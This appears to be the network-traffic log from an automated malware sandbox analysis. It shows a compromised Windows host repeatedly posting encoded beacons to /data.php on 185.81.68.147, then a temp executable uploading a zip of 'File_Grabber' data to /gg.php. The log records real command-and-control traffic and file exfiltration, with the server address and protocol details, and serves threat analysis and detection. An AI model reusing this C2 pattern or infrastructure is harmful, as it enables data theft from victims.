Dec 26, 2024 12:05:31.187340975 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:32.720691919 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49765	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:31.688479900 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:33.443154097 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49771	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:32.950047970 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49772	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:33.625363111 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:35.153724909 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49773	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:33.640759945 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:35.422909975 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49779	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:35.448354959 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:36.992274046 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49780	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:35.747701883 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:37.466387987 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49784	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:37.218184948 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:38.771253109 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49785	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:38.041841030 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49788	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:39.031235933 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49792	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:39.686311960 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:41.247416019 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49793	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:39.699892998 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:41.362009048 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49796	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:41.502629042 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:43.115217924 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49797	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:41.641930103 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:43.326915979 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49803	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:43.457068920 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:45.007209063 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49804	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:43.577195883 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:45.263191938 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49808	185.81.68.147	80	2300	C:\Users\user\AppData\Local\Temp\tmp1946.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:44.975020885 CET	12360	OUT	POST /gg.php HTTP/1.1 Host: 185.81.68.147 Accept: / Content-Length: 89184 Content-Type: multipart/form-data; boundary=------------------------KP8UOnaSGiZUFlAIy5XNqt Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4b 50 38 55 4f 6e 61 53 47 69 5a 55 46 6c 41 49 79 35 58 4e 71 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 6f 67 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 6f 67 46 69 6c 65 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 0d 0a 0d 0a 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 e5 18 d9 6a 07 00 00 00 05 00 00 00 2d 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 30 2e 31 2e 66 69 6c 74 65 72 74 72 69 65 2e 69 6e 74 65 72 6d 65 64 69 61 74 65 2e 74 78 74 33 e0 34 e4 e5 02 00 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 bc a6 9f 68 07 00 00 00 05 00 00 00 2d 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 30 2e 32 2e 66 69 6c 74 65 72 74 72 69 65 2e 69 6e 74 65 72 6d 65 64 69 61 74 65 2e 74 78 74 33 e0 34 e2 e5 02 00 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 3e 4d bf df 07 01 00 00 fc [TRUNCATED] Data Ascii: --------------------------KP8UOnaSGiZUFlAIy5XNqtContent-Disposition: form-data; name="log"; filename="LogFile.zip"Content-Type: application/zipPK j-\File_Grabber\0.1.filtertrie.intermediate.txt34PK h-\File_Grabber\0.2.filtertrie.intermediate.txt34PK >M!\File_Grabber\1-7FeatureCache.txt]R[!@"$mGBj[m6o_oWqN6;<V+H3=lU#v/iY<=2BM;t",2Q[iLmFKK%w WaR!fbp}rtV6NisV;':Y3gusJ"G!:g][:{CjA>7{yiU85QZetn0}7h\|PK sh#\File_Grabber\AlternateServices.txt0=zlh~LO}!MMiR[-BA+<-2McBNNF!O@<S?<\|WT@Ma\|.h>pkf6RZY/PNEw)CL9DU$-upa30#bg-%qyUX`<tPK F8a\File_Grabber\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[ [TRUNCATED]
Dec 26, 2024 12:05:45.094813108 CET	2472	OUT	Data Raw: 71 37 65 ea 5c a2 49 4d 4a f7 f4 a9 bb f5 66 76 4f 08 29 ae 18 9e 8c 7f be dc 2f 56 45 45 de 02 4a 1d 8c ae be 67 31 f2 75 be 12 36 6a be a0 97 7b 88 01 95 0d b6 24 1d f9 51 c3 f3 11 e9 5b 81 94 dd 13 db 70 3a db db 5f 3c a5 2b 1c 73 8e 7a d9 25 Data Ascii: q7e\IMJfvO)/VEEJg1u6j{$Q[p:_<+sz%,B<N~[>WLWW4is W$;a]F3?aK>Eyy%Zl1%1P$DSC?g[_i?eyC*/m
Dec 26, 2024 12:05:45.094835997 CET	2472	OUT	Data Raw: 84 26 eb cd 43 8b 40 e6 de b3 4d a0 0d 35 9f 88 77 8d 3c 4d d2 b4 51 21 52 1e 19 ed b1 84 98 43 e2 92 78 42 2d 90 17 e6 be a1 67 23 9f 03 a8 0c 0f 0d 8f a5 ee e0 e8 8e db 98 55 86 ee 89 a4 1e e7 d0 07 81 0a a7 58 f5 a5 fb 40 0f 73 d1 85 d1 7a 97 Data Ascii: &C@M5w<MQ!RCxB-g#UX@szMRJ4tj9_h:<$=:>v4"kPIVrDxhnod`p6cAqpiAi?}w8c*3:6+n/0L6
Dec 26, 2024 12:05:45.094897985 CET	2472	OUT	Data Raw: 73 b3 4d 4e af c5 a1 de 9f dd 4c e2 eb 4d d3 3b 41 0e 51 c4 7b b3 0e 6c 83 b3 67 64 62 b5 ce 4a 73 66 9e e2 13 39 cc 56 9e e0 4b 82 27 8e 25 b2 46 94 3e 3b 01 09 89 57 93 29 2b fb a4 21 69 ff c0 ba 22 49 e3 4e 48 b8 d1 e1 ba 7c 74 49 4a 83 fd 9e Data Ascii: sMNLM;AQ{lgdbJsf9VK'%F>;W)+!i"INH\|tIJ_ Fj#bL\#o#<;o$Q8hMhMeo0c9~scgiAk2A#]?H$~H+A~s$oJv i;9 cE8'8YDe(?;nykG
Dec 26, 2024 12:05:45.094918013 CET	2472	OUT	Data Raw: 16 e2 a1 d9 7e d7 59 81 0f 2f 4a 59 f4 ea 11 1d 8c 2b ac 74 37 58 0b b1 30 80 22 17 28 fe 05 8a 1e c2 0b 2d 06 43 4c 61 12 c8 f6 61 d0 bf 1b 5d 9c cc ff dd d3 92 34 44 65 60 88 94 e5 a4 b8 b4 43 69 bc d0 ae bf b9 d7 94 2c 41 58 3c 0a d4 11 ff 16 Data Ascii: ~Y/JY+t7X0"(-CLaa]4De`Ci,AX< -V9BVReIKz){_O'7&tXw4">V?$XTd5MffH2Jx?*6<-iT%B!:FDR
Dec 26, 2024 12:05:45.094939947 CET	2472	OUT	Data Raw: e0 70 c6 eb 84 09 24 cb c0 1e 6d ad ce 65 03 90 90 39 47 d8 38 2c 68 43 2c a8 54 4e 60 aa c4 6d 24 48 3d 12 30 f0 55 c3 03 74 e0 86 16 15 7e 6d 8d c2 d7 10 4e f1 e1 90 5a 16 9d 8f 45 b8 d9 f8 10 f0 7a b3 0c 17 98 0e 24 9a b8 ab 39 d7 d1 70 c6 bb Data Ascii: p$me9G8,hC,TN`m$H=0Ut~mNZEz$9pao0EcCZ'xX\)GS'C89FNO Vt>{93-1@{cSz(13>/c5FFm_N~]0(o?;i`2\%
Dec 26, 2024 12:05:45.094968081 CET	4944	OUT	Data Raw: 63 7d 92 c9 75 be c8 2b c5 1d e3 ad c6 30 e7 7b 4c b9 79 01 98 8c ba 00 48 90 2d bf 84 17 52 c9 95 7e ec 31 c5 10 cd 5b 29 46 bc e6 2a 37 cc 75 38 22 14 95 01 ea f6 a7 33 e2 8c b5 04 b9 c1 8d f3 af 06 7d d7 66 7c 53 bd 64 de 56 e2 44 fd 4b dc 43 Data Ascii: c}u+0{LyH-R~1[)F*7u8"3}f\|SdVDKCTO/y9IpUy?=r/w~ s}Zrgr8~{YA)P~4:3e%?q3@h94VXkM8c4a
Dec 26, 2024 12:05:45.094980001 CET	2472	OUT	Data Raw: d4 24 0d bc d5 c8 bc 0a b9 7c 07 cf 1a f6 c4 37 88 ef c4 78 22 ad 4a ec 1f 87 26 dd fc 99 c0 a3 65 b5 48 93 20 f0 24 1c 9e a3 5a 35 ca 21 38 14 5d aa c2 d8 7a cc d6 2d 5f 4b b5 bf 59 e7 cb 5a 7a 8b 7c 46 8b 59 58 96 d7 a4 0d a4 e5 a9 ca 27 e6 53 Data Ascii: $\|7x"J&eH $Z5!8]z-_KYZz\|FYX'Saa;U/Himv2fTT+]1hveQ4lvc^vfP&O\'-<[]RV0o,\|3ey4Xwo*y,_OX\|K,
Dec 26, 2024 12:05:45.095001936 CET	2472	OUT	Data Raw: 76 06 67 9b 49 a5 42 97 5e 00 3a 8b 31 cf 9a 6d ee 31 52 26 0c 81 c3 e5 a8 7a 0b 78 53 00 f2 64 2b cb b6 bf d0 a6 c7 c4 ff 65 20 20 67 5e 1b 7b a2 6d 58 4b 9d be 1b 56 9c 1c a7 f3 b6 1e 19 00 61 9a 2e 19 d9 6e 07 0a 2e bb a0 01 38 4b 71 99 18 37 Data Ascii: vgIB^:1m1R&zxSd+e g^{mXKVa.n.8Kq7_RQqW9RCIz3/]=h[;5@#C\|\|8E7UjQow{Ww(Rj/J-g:1`?(N{Wkyg51A
Dec 26, 2024 12:05:45.095015049 CET	2472	OUT	Data Raw: 24 20 96 dd 3f c2 ee 83 bf fd 0b fa e1 91 92 54 d3 12 09 db b7 b3 30 f3 ba d3 53 2f 5d 2c ce 20 97 ce 2f 00 0e 3b d9 a7 ee 97 8f b6 2e 1f 15 73 52 bc e2 b9 35 90 a4 34 8c 0b 8f ea 13 69 ea 99 d2 1a f7 09 3b eb 33 83 b3 cc 7c 30 87 3f 8b 84 90 6b Data Ascii: $ ?T0S/], /;.sR54i;3\|0?kIf-bRt\X^"27o=X}X'H+'2F:rpb&M}_.a}5z`\9)_M3.WW)&EQk
Dec 26, 2024 12:05:45.214875937 CET	4944	OUT	Data Raw: 80 1c 65 59 aa 70 13 d8 61 7e b8 8d 2e 40 f6 65 8e 37 96 c7 dc f8 bf 83 e4 02 65 40 b8 11 d4 0c 75 ee 7f d6 5d aa c1 cb 4d 2e d5 21 28 ee 10 9d 24 96 0c f3 25 08 96 07 dd e0 60 e2 e0 c6 8a bd cb 2e 51 3b 05 12 91 e5 7f 5b 86 22 cb ef 4e bc 86 2c Data Ascii: eYpa~.@e7e@u]M.!($%`.Q;["N,,`+y%nfECbEGph@HD9HyZ'_wMh/nY4Qt6nqq~Y2D\,wBEqht-/X/*wP4n
